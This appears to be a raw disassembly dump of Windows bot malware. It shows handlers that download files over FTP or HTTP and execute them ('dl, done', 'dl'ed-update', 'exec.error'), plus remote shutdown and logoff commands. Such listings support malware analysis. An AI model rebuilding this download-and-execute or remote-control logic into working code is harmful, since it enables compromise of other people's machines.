sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41D040 push offset asc_444600 ; " " lea ecx, [esp+128h+var_F4] push 1 push ecx mov ecx, esi call sub_4016B8 lea edx, [esp+124h+var_7C] mov ecx, eax push edx mov byte ptr [esp+128h+var_4], 13h call sub_40168B push eax call sub_401947 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D2A1 lea eax, [esp+124h+var_52] lea ecx, [esp+124h+var_AC] push eax call sub_401FDC lea ecx, [esp+124h+var_3D] push ecx lea ecx, [esp+128h+var_94] call sub_401FDC lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FDC lea eax, [esp+124h+var_24] lea ecx, [esp+124h+var_DC] push eax call sub_401FDC push 1 push offset asc_444600 ; " " lea ecx, [esp+12Ch+var_F4] push 2 push ecx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 14h call sub_401FDC lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push 94h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 15h jz short loc_41CFB3 mov ecx, eax call sub_4021E9 mov edi, eax jmp short loc_41CFB5 ; --------------------------------------------------------------------------- loc_41CFB3: ; CODE XREF: sub_41C710+896j xor edi, edi loc_41CFB5: ; CODE XREF: sub_41C710+8A1j lea edx, [esp+124h+var_10C] lea ecx, [edi+11h] push edx mov byte ptr [esp+128h+var_4], bl call sub_401FDC lea eax, [esp+124h+var_DC] lea ecx, [edi+26h] push eax call sub_401FDC lea ecx, [esp+124h+var_C4] push ecx lea ecx, [edi+65h] call sub_401FDC lea edx, [esp+124h+var_AC] lea ecx, [edi+3Bh] push edx call sub_401FDC lea eax, [esp+124h+var_94] lea ecx, [edi+50h] push eax call sub_401FDC lea ecx, [esi+69h] push ecx lea ecx, [edi+7Ah] call sub_401FDC mov byte ptr [edi+8Fh], 1 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 1 mov dl, [esi+93h] mov [edi+92h], dl mov al, [esi+94h] mov ecx, edi mov [edi+93h], al call sub_4013DE loc_41D040: ; CODE XREF: sub_41C710+7A1j lea ecx, [ebp+0EAh] call sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41D2A1 push offset asc_444600 ; " " lea ecx, [esp+128h+var_F4] push 1 push ecx mov ecx, esi call sub_4016B8 lea edx, [esp+124h+var_7C] mov ecx, eax push edx mov byte ptr [esp+128h+var_4], 16h call sub_40168B push eax call sub_401947 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D2A1 lea eax, [esp+124h+var_52] lea ecx, [esp+124h+var_AC] push eax call sub_401FDC lea ecx, [esp+124h+var_3D] push ecx lea ecx, [esp+128h+var_94] call sub_401FDC lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FDC lea eax, [esp+124h+var_24] lea ecx, [esp+124h+var_DC] push eax call sub_401FDC push 1 push offset asc_444600 ; " " lea ecx, [esp+12Ch+var_F4] push 2 push ecx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 17h call sub_401FDC lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push offset asc_444600 ; " " lea edx, [esp+128h+var_F4] push 3 push edx mov ecx, esi call sub_4016B8 push offset word_44955A mov ecx, eax mov byte ptr [esp+128h+var_4], 18h call sub_401B86 test eax, eax lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl setz [esp+124h+var_111] call sub_401226 mov al, [esp+124h+var_111] test al, al jz short loc_41D1EC lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_4014BA lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_401226 lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_401226 lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_401226 lea ecx, [esp+124h+var_DC] mov byte ptr [esp+124h+var_4], 0 call sub_401226 lea ecx, [esp+124h+var_10C] mov [esp+124h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_41D312 ; --------------------------------------------------------------------------- loc_41D1EC: ; CODE XREF: sub_41C710+A64j push 94h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 19h jz short loc_41D214 mov ecx, eax call sub_4021E9 mov edi, eax jmp short loc_41D216 ; --------------------------------------------------------------------------- loc_41D214: ; CODE XREF: sub_41C710+AF7j xor edi, edi loc_41D216: ; CODE XREF: sub_41C710+B02j lea eax, [esp+124h+var_10C] lea ecx, [edi+11h] push eax mov byte ptr [esp+128h+var_4], bl call sub_401FDC lea ecx, [esp+124h+var_DC] push ecx lea ecx, [edi+26h] call sub_401FDC lea edx, [esp+124h+var_C4] lea ecx, [edi+65h] push edx call sub_401FDC lea eax, [esp+124h+var_AC] lea ecx, [edi+3Bh] push eax call sub_401FDC lea ecx, [esp+124h+var_94] push ecx lea ecx, [edi+50h] call sub_401FDC lea edx, [esi+69h] lea ecx, [edi+7Ah] push edx call sub_401FDC mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 1 mov byte ptr [edi+91h], 1 mov al, [esi+93h] mov [edi+92h], al mov cl, [esi+94h] mov [edi+93h], cl mov ecx, edi call sub_4013DE loc_41D2A1: ; CODE XREF: sub_41C710+116j ; sub_41C710+295j ... lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_4014BA lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_401226 lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_401226 lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_401226 lea ecx, [esp+124h+var_DC] mov byte ptr [esp+124h+var_4], 0 call sub_401226 lea ecx, [esp+124h+var_10C] mov [esp+124h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 loc_41D312: ; CODE XREF: sub_41C710+549j ; sub_41C710+AD7j mov ecx, [esp+124h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 114h retn 4 sub_41C710 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 310h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D640 proc near ; CODE XREF: sub_401B4Aj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41D640 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_40142E lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_40142E lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_40142E lea ecx, [esi+58h] mov byte ptr [esp+14h+var_4], 3 call sub_40142E mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_41D640 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D6D0 proc near ; CODE XREF: sub_4014BAj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41D6D0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+58h] mov [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+15h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_41D6D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D770 proc near ; CODE XREF: sub_4021E9j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41D770 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E88 lea ecx, [esi+11h] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_40142E lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_40142E lea ecx, [esi+50h] mov byte ptr [esp+14h+var_4], 3 call sub_40142E lea ecx, [esi+65h] mov byte ptr [esp+14h+var_4], 4 call sub_40142E lea ecx, [esi+7Ah] mov byte ptr [esp+14h+var_4], 5 call sub_40142E mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F0D0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_41D770 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41D830 proc near ; CODE XREF: sub_401C94j var_48 = dword ptr -48h var_40 = byte ptr -40h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_10 = byte ptr 14h arg_14 = byte ptr 18h arg_20 = byte ptr 24h arg_38 = byte ptr 3Ch arg_44 = byte ptr 48h arg_10C = byte ptr 110h arg_11C = byte ptr 120h arg_12C = byte ptr 130h arg_110C = dword ptr 1110h arg_1110 = byte ptr 1114h arg_112C = dword ptr 1130h arg_1134 = dword ptr 1138h arg_1144 = byte ptr 1148h arg_1150 = dword ptr 1154h ; FUNCTION CHUNK AT 0041DF48 SIZE 0000001B BYTES push 0FFFFFFFFh mov eax, large fs:0 push offset loc_43C3A2 push eax mov eax, 1158h mov large fs:0, esp call sub_437B30 push ebx push ebp push esi mov esi, ecx push edi push offset byte_448F30 lea edi, [esi+11h] mov ecx, edi call sub_4012EE test eax, eax jz loc_41DF35 lea ebx, [esi+65h] push offset byte_448F30 mov ecx, ebx call sub_4012EE test eax, eax jz loc_41DF35 lea ecx, [esi+26h] push offset byte_448F30 call sub_4012EE test eax, eax jz loc_41DF35 mov al, [esi+91h] test al, al jz short loc_41D8D1 push offset byte_448F30 lea ecx, [esi+3Bh] call sub_4012EE test eax, eax jz short loc_41D8C4 push offset byte_448F30 lea ecx, [esi+50h] call sub_4012EE test eax, eax jnz short loc_41D8D1 loc_41D8C4: ; CODE XREF: sub_41D830+81j mov [esp+1Ch+var_8], esi lea eax, [esp+1Ch+var_8] jmp loc_41DF3D ; --------------------------------------------------------------------------- loc_41D8D1: ; CODE XREF: sub_41D830+70j ; sub_41D830+92j push offset asc_444C64 ; ":" lea ecx, [esp+20h] push 1 push ecx mov ecx, edi call sub_4016B8 push offset byte_448F30 mov ecx, eax mov [esp+20h+arg_1150], 0 call sub_4012EE lea ecx, [esp+1Ch] mov ebp, eax mov [esp+1Ch+arg_1150], 0FFFFFFFFh call sub_401226 test ebp, ebp jz short loc_41D95E push offset asc_444C64 ; ":" lea edx, [esp+20h] push 1 push edx mov ecx, edi call sub_4016B8 mov ecx, eax mov [esp+1Ch+arg_1150], 1 call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+1Ch] mov ebp, eax mov [esp+1Ch+arg_1150], 0FFFFFFFFh call sub_401226 test ebp, ebp jnz short loc_41D96F loc_41D95E: ; CODE XREF: sub_41D830+E3j mov al, [esi+91h] neg al sbb eax, eax and al, 0C5h add eax, 50h mov ebp, eax loc_41D96F: ; CODE XREF: sub_41D830+12Cj push offset asc_444C64 ; ":" lea ecx, [esp+20h+arg_14] push 0 push ecx mov ecx, edi call sub_4016B8 lea edx, [esp+1Ch+arg_14] mov ecx, edi push edx mov [esp+20h+arg_1150], 2 call sub_401FDC lea eax, [esp+1Ch+arg_44] push 104h push eax mov ecx, ebx call sub_4017EE push eax nop call near ptr 2800000h lea ecx, [esp+28h+arg_38] push ecx mov ecx, ebx call sub_4015E1 mov al, [esi+91h] test al, al jz loc_41DB04 call sub_401E1F ; --------------------------------------------------------------------------- lea edx, [esp+28h+var_14] mov ecx, edi push edx call sub_4017EE push eax call sub_401A7D ; --------------------------------------------------------------------------- add esp, 8 test eax, eax jnz short loc_41DA1C lea ecx, [esi+7Ah] call sub_40168B mov cl, [esi+92h] push eax mov al, [esi+93h] push offset aFtpBadconnect ; "ftp(badconnect)" push eax push ecx mov ecx, offset byte_4D8075 call sub_401118 mov [esp+28h+var_18], esi lea edx, [esp+28h+var_18] jmp loc_41DF14 ; --------------------------------------------------------------------------- loc_41DA1C: ; CODE XREF: sub_41D830+1B7j mov eax, [esp+28h+var_14] lea ecx, [esi+50h] push eax call sub_4017EE push eax lea ecx, [esi+3Bh] call sub_4017EE push eax call sub_402266 add esp, 0Ch test eax, eax jnz short loc_41DA73 lea ecx, [esi+7Ah] call sub_40168B mov cl, [esi+93h] mov dl, [esi+92h] push eax push offset aFtpBadlogin ; "ftp(badlogin)" push ecx push edx mov ecx, offset byte_4D8075 call sub_401118 lea eax, [esp+28h+var_18] mov [esp+28h+var_18], esi push eax jmp loc_41DF15 ; --------------------------------------------------------------------------- loc_41DA73: ; CODE XREF: sub_41D830+20Dj lea edi, [esi+7Ah] mov ecx, edi call sub_40168B mov cl, [esi+93h] mov dl, [esi+92h] push eax push offset aFtpGetting ; "ftp(getting)" push ecx push edx mov ecx, offset byte_4D8075 call sub_401118 mov eax, [esp+28h+var_14] lea ecx, [esi+26h] push eax push 49h call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax call sub_4016B3 add esp, 10h test eax, eax jnz short loc_41DAF2 mov ecx, edi call sub_40168B mov cl, [esi+93h] mov dl, [esi+92h] push eax push offset aFtpBaddl ; "ftp(baddl)" push ecx push edx mov ecx, offset byte_4D8075 call sub_401118 lea eax, [esp+28h+var_18] mov [esp+28h+var_18], esi push eax jmp loc_41DF15 ; --------------------------------------------------------------------------- loc_41DAF2: ; CODE XREF: sub_41D830+28Dj mov ecx, [esp+28h+var_14] push ecx call sub_401D66 add esp, 4 jmp loc_41DD7B ; --------------------------------------------------------------------------- loc_41DB04: ; CODE XREF: sub_41D830+195j lea ecx, [esp+28h+arg_20] call sub_40142E lea ecx, [esp+28h+var_C] mov [esp+28h+arg_1144], 3 call sub_40142E push ebp mov ecx, edi mov [esp+2Ch+arg_1144], 4 call sub_4017EE push eax call sub_401AA0 mov ebx, eax add esp, 8 cmp ebx, 0FFFFFFFFh mov [esp+28h+var_14], ebx jnz short loc_41DB87 lea ecx, [esi+7Ah] call sub_40168B mov dl, [esi+93h] push eax mov al, [esi+92h] push offset aHttpBadconnect ; "http(badconnect)" push edx push eax mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+28h+var_18] mov [esp+28h+var_18], esi push ecx mov ecx, offset byte_4E8E9B call sub_40120D ; --------------------------------------------------------------------------- db 53h db 90h db 0E8h, 0B7h, 0BAh ; --------------------------------------------------------------------------- imul esi, [ecx-17h], 0BEh loc_41DB87: ; CODE XREF: sub_41D830+310j push ebp mov ecx, edi call sub_4017EE push eax lea ecx, [esi+26h] call sub_4017EE push eax lea edx, [esp+34h+arg_20] push offset aGetSHttp1_0Con ; "GET %s HTTP/1.0\r\nConnection: Keep-Alive"... push edx call sub_40102D add esp, 14h lea ecx, [esp+28h+arg_20] push 0 call sub_4013E3 push eax lea ecx, [esp+30h+arg_20] call sub_4017EE push eax push ebx nop call near ptr 71AB428Ah lea edi, [esi+7Ah] mov ecx, edi call sub_40168B mov cl, [esi+92h] push eax mov al, [esi+93h] push offset aHttpGetting ; "http(getting)" push eax push ecx mov ecx, offset byte_4D8075 call sub_401118 push offset aWb ; "wb" lea ecx, [esi+65h] call sub_4017EE push eax nop call near ptr 77C3F010h mov ebx, eax add esp, 8 test ebx, ebx jnz short loc_41DC80 mov ecx, edi call sub_40168B mov dl, [esi+93h] push eax mov al, [esi+92h] push offset aHttpBadopen ; "http(badopen)" push edx push eax mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+38h+var_28] mov [esp+38h+var_28], esi push ecx mov ecx, offset byte_4E8E9B call sub_40120D ; --------------------------------------------------------------------------- lea ecx, [esp+38h+var_1C] mov byte ptr [esp+38h+arg_1134], 3 call sub_401226 lea ecx, [esp+38h+arg_10] mov byte ptr [esp+38h+arg_1134], 2 call sub_401226 lea ecx, [esp+38h+var_4] mov [esp+38h+arg_1134], 0FFFFFFFFh call sub_401226 jmp loc_41DF48 ; --------------------------------------------------------------------------- loc_41DC80: ; CODE XREF: sub_41D830+3DBj ; sub_41D830+484j ... mov eax, [esp+38h+var_24] push 0 lea edx, [esp+3Ch+arg_12C] push 1000h push edx push eax nop call near ptr 71AB615Ah mov ebp, eax test ebp, ebp jle short loc_41DCF8 cmp ebp, 1000h jge short loc_41DCB0 mov [esp+ebp+48h+arg_11C], 0 loc_41DCB0: ; CODE XREF: sub_41D830+476j xor edi, edi test ebp, ebp jle short loc_41DC80 loc_41DCB6: ; CODE XREF: sub_41D830+4A5j push 4 lea ecx, [esp+edi+4Ch+arg_11C] push offset asc_444EC8 ; "\r\n\r\n" push ecx nop call near ptr 77C47A50h add esp, 0Ch test eax, eax jz short loc_41DCD9 inc edi cmp edi, ebp jl short loc_41DCB6 jmp short loc_41DC80 ; --------------------------------------------------------------------------- loc_41DCD9: ; CODE XREF: sub_41D830+4A0j add edi, 4 cmp edi, ebp jge short loc_41DCF8 loc_41DCE0: ; CODE XREF: sub_41D830+4C6j movsx edx, [esp+edi+48h+arg_11C] push ebx push edx nop call near ptr 77C40E76h add esp, 8 inc edi cmp edi, ebp jl short loc_41DCE0 loc_41DCF8: ; CODE XREF: sub_41D830+46Ej ; sub_41D830+4AEj ... mov edi, [esp+48h+var_34] push 0 lea eax, [esp+4Ch+arg_11C] push 1000h push eax push edi call near ptr 71AB615Ah nop mov ebp, eax test ebp, ebp jle short loc_41DD48 cmp ebp, 1000h jge short loc_41DD28 mov [esp+ebp+58h+arg_10C], 0 loc_41DD28: ; CODE XREF: sub_41D830+4EEj xor edi, edi test ebp, ebp jle short loc_41DCF8 loc_41DD2E: ; CODE XREF: sub_41D830+514j movsx ecx, [esp+edi+58h+arg_10C] push ebx push ecx nop call near ptr 77C40E76h add esp, 8 inc edi cmp edi, ebp jl short loc_41DD2E jmp short loc_41DCF8 ; --------------------------------------------------------------------------- loc_41DD48: ; CODE XREF: sub_41D830+4E6j push ebx nop call near ptr 77C40AB1h add esp, 4 push edi nop call near ptr 71AB9639h lea ecx, [esp+5Ch+var_40] mov [esp+5Ch+arg_1110], 3 call sub_401226 lea ecx, [esp+5Ch+var_10] mov [esp+5Ch+arg_1110], 2 call sub_401226 loc_41DD7B: ; CODE XREF: sub_41D830+2CFj mov al, [esi+90h] test al, al jnz loc_41DE17 lea ebp, [esi+65h] mov ecx, ebp call sub_4017EE lea edi, [esi+7Ah] push eax push offset aDlDone_S_ ; "dl, done. %s ." mov ecx, edi call sub_40168B mov dl, [esi+93h] push eax mov al, [esi+92h] push edx push eax push offset byte_4D8075 call sub_401857 mov al, [esi+8Fh] add esp, 18h test al, al jz loc_41DF0C push offset byte_448F30 mov ecx, ebp call sub_4017EE push eax call sub_401299 add esp, 8 mov ecx, ebp call sub_4017EE push eax push offset aOpenS_ ; "open %s." mov ecx, edi call sub_40168B mov cl, [esi+93h] mov dl, [esi+92h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 18h jmp loc_41DF0C ; --------------------------------------------------------------------------- loc_41DE17: ; CODE XREF: sub_41D830+553j lea ebx, [esi+65h] mov ecx, ebx call sub_4017EE lea edi, [esi+7Ah] push eax push offset aDlEdUpdateS ; "dl'ed-update: %s" mov ecx, edi call sub_40168B mov cl, [esi+92h] push eax mov al, [esi+93h] push eax push ecx push offset byte_4D8075 call sub_401857 push 0 push 5 push 14h push 1 push 4 push 10h push 15h lea edx, [esp+90h+var_40] push 51h push edx call sub_4019C4 add esp, 3Ch mov ecx, eax mov [esp+5Ch+arg_1110], 5 call sub_4014DD push eax mov ecx, ebx call sub_4014DD push eax call sub_402167 add esp, 8 lea ecx, [esp+5Ch+var_40] mov bl, al mov [esp+5Ch+arg_1110], 2 call sub_401226 test bl, bl jz short loc_41DEE7 mov al, byte_449896 test al, al jz short loc_41DEB6 push offset dword_449834 mov ecx, offset dword_44AD70 call sub_401451 loc_41DEB6: ; CODE XREF: sub_41D830+675j mov al, byte_4498DF test al, al jz short loc_41DECE push offset byte_44990F mov ecx, offset dword_44AD70 call sub_401951 loc_41DECE: ; CODE XREF: sub_41D830+68Dj mov ecx, offset dword_44AD70 call sub_401E79 push 1 mov byte_4E8E44, 0 nop call near ptr 77C39E7Eh loc_41DEE7: ; CODE XREF: sub_41D830+66Cj mov ecx, edi call sub_4014DD mov cl, [esi+92h] push eax mov al, [esi+93h] push offset aExec_error ; "exec.error" push eax push ecx mov ecx, offset byte_4D8075 call sub_401118 loc_41DF0C: ; CODE XREF: sub_41D830+597j ; sub_41D830+5E2j mov [esp+60h+var_48], esi lea edx, [esp+60h+var_48] loc_41DF14: ; CODE XREF: sub_41D830+1E7j push edx loc_41DF15: ; CODE XREF: sub_41D830+23Ej ; sub_41D830+2BDj mov ecx, offset byte_4E8E9B call sub_40120D ; --------------------------------------------------------------------------- lea ecx, [esp+60h+var_2C] mov [esp+60h+arg_110C], 0FFFFFFFFh call sub_401226 jmp short loc_41DF48 ; --------------------------------------------------------------------------- loc_41DF35: ; CODE XREF: sub_41D830+36j ; sub_41D830+4Dj ... mov [esp+1Ch+var_C], esi lea eax, [esp+1Ch+var_C] loc_41DF3D: ; CODE XREF: sub_41D830+9Cj push eax mov ecx, offset byte_4E8E9B call sub_40120D sub_41D830 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41D830 loc_41DF48: ; CODE XREF: sub_41D830+44Bj ; sub_41D830+703j mov ecx, [esp+38h+arg_112C] pop edi pop esi pop ebp xor eax, eax pop ebx mov large fs:0, ecx add esp, 1164h retn ; END OF FUNCTION CHUNK FOR sub_41D830 ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 1D0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41E140 proc near ; CODE XREF: sub_401BA4j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41E140 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 14h push 0Fh push 0Fh push 2 push 5 push 12h push 4Fh push 3 lea eax, [esp+64h+var_3C] push 10h mov esi, ecx push eax call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017EE lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449118 call sub_40159B sub_41E140 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 0Eh push 17h push 0Fh push 4 push 14h push 15h push 8 push 13h push 4Fh push 3 lea edx, [esp+30h] push 10h push edx call sub_4019C4 add esp, 34h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017EE push eax lea eax, [esi+32h] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 6 push 6 push 0Fh push 7 push 0Fh push 0Ch push 4Fh push 3 lea ecx, [esp+40h] push 10h push ecx call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+40h], 2 call sub_4017EE add esi, 60h push eax push esi mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_41E2C0: ; CODE XREF: ___:loc_4010B4j push ebx push esi push edi mov edi, [esp+10h] mov esi, ecx lea ebx, [edi+7Eh] lea ecx, [esi+4] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41E31B push offset dword_444FCC lea ecx, [edi+69h] call sub_40168B mov cl, [edi+93h] push eax mov al, [edi+94h] push eax push ecx push offset byte_4D8075 call sub_401857 add esp, 14h push 0 push 6 call near ptr 28A0B66h nop pop edi pop esi xor al, al pop ebx retn 4 ; --------------------------------------------------------------------------- loc_41E31B: ; CODE XREF: ___:0041E2DEj lea ecx, [esi+32h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41E36A push offset aSysSd ; "sys(sd)" lea ecx, [edi+69h] call sub_40168B mov dl, [edi+94h] push eax mov al, [edi+93h] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 14h push 0 push 5 nop call near ptr 28A0B66h pop edi pop esi xor al, al pop ebx retn 4 ; --------------------------------------------------------------------------- loc_41E36A: ; CODE XREF: ___:0041E32Dj lea ecx, [esi+60h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41E3B1 push offset aSysLogoff ; "sys(logoff)" lea ecx, [edi+69h] call sub_40168B mov cl, [edi+94h] mov dl, [edi+93h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 14h push 0 push 4 nop call near ptr 28A0B66h loc_41E3B1: ; CODE XREF: ___:0041E37Cj pop edi pop esi xor al, al pop ebx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41E400 proc near ; CODE XREF: sub_401F7Dj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41E400 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 14h push 13h push 9 push 0Ch push 4Fh push 0Ch push 12h push 14h push 3 lea eax, [esp+6Ch+var_3C] push 10h mov esi, ecx push eax call sub_4019C4 add esp, 30h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017EE lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449118 call sub_40159B sub_41E400 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Ch push 0Ch push 9 push 0Bh push 4Fh push 0Ch push 12h push 14h push 3 lea edx, [esp+30h] push 10h push edx call sub_4019C4 add esp, 30h push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017EE push eax lea eax, [esi+32h] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 3 push 16h push 13h push 14h push 13h push 9 push 0Ch push 4Fh push 0Ch push 12h push 14h push 3 lea ecx, [esp+3Ch] push 10h push ecx call sub_4019C4 add esp, 3Ch mov dword ptr [esp+40h], 2 push esi mov ecx, eax call sub_4017EE lea edx, [esi+8Eh] push eax push edx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 3 push 16h push 13h push 0Ch push 0Ch push 9 push 0Bh push 4Fh push 0Ch push 12h push 14h push 3 lea eax, [esp+3Ch] push 10h push eax call sub_4019C4 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017EE lea ecx, [esi+0BCh] push eax push ecx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 4 push 9 push 10h push 0Ch push 0Ch push 9 push 0Bh push 4Fh push 0Ch push 12h push 14h push 3 lea edx, [esp+54h] push 10h push edx call sub_4019C4 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017EE add esi, 60h push eax push esi mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41E660 proc near ; CODE XREF: sub_40161Dj var_50 = dword ptr -50h var_4C = byte ptr -4Ch var_48 = byte ptr -48h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_41E660 push eax mov large fs:0, esp sub esp, 44h push ebx push ebp push esi mov esi, [esp+5Ch+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, 